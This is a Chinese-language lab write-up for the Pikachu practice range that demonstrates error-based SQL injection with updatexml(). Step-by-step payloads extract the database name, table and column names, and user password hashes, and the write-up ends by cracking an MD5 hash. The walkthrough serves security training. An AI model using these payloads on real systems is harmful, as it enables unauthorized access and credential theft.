Pikachu靶场:SQL-Inject之字符型注入(基于报错)
实验环境以及工具
Firefox浏览器、Burp Suite、Pikachu靶场
实验原理
技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。
Updatexml()函数作用:改变(查找并替换) XML文档中符合条件的节点的值。
语法: UPDATEXML (xml_ document, XPathstring, new_ _value)
第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new _value , String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则则会发生错误
实验步骤
1.前期工作
先将Proxy中的intercept关闭,使其不进行拦截,让数据通过监听的端口。
2.使用字符型注入作为目标
用入下payload试图爆出数据库版本
kobe' and updatexml(1,version(),0)#
发现爆出的数据并不完整
故尝试用concat防止错误内容被吞噬
kobe' and updatexml(1,concat(0x7e,version()),0)#
成果爆出数据库版本。
漏洞利用
首先爆出数据库名称
payload为
kobe' and updatexml(1,concat(0x7e,database()),0)#
得出数据库名称为 pikachu
接下来数据库名称爆出表名
payload为
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' )),0)#
发现超过一行无法显示,那么在payload后面加上limit限制为一行
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 0,1)),0)#
得到第一个表名为 httpinfo
依次往后进行,即将limit 参数换为 1,1 或2,1或 3,1一直到查不出来
payload和结果依次为
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 1,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 2,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 3,1)),0)#
得到一个名叫users的表,尝试将其中的内容进行爆出。
payload和对应的结果为
kobe' and updatexml(1, concat(0x7e, (select
COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 0,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select
COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 1,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select
COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 2,1)),0)#
找到username和password两个敏感字段后,将其内容爆出
爆破username的payload和结果为
kobe' and updatexml(1, concat(0x7e, (select username from users limit 0,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select username from users limit 1,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select username from users limit 2,1)),0)#
爆破password的payload和结果为
kobe' and updatexml(1, concat(0x7e, (select password from users limit 0,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select password from users limit 1,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select password from users limit 2,1)),0)#
整理用户名和密码
用户名 admin
密码 e10adc3949ba59abbe56e057f20f883e
用户名 pikachu
密码 670b14728ad9902aecba32e22fa4f6bd
用户名 test
密码 e99a18c428cb38d5f260853678922e03
5.利用hash-identifier和在线哈希破解网站破解密码
使用kali自带工具hash-identitier判断pikachu用户的密码的哈希类型
类型为MD5
在MD5解密网站解密得到密文000000
总结
再利用sql报错注入的时候,要注意防止报错的内容被吞噬。输出不了多行内容的时候要利用limit进行限制。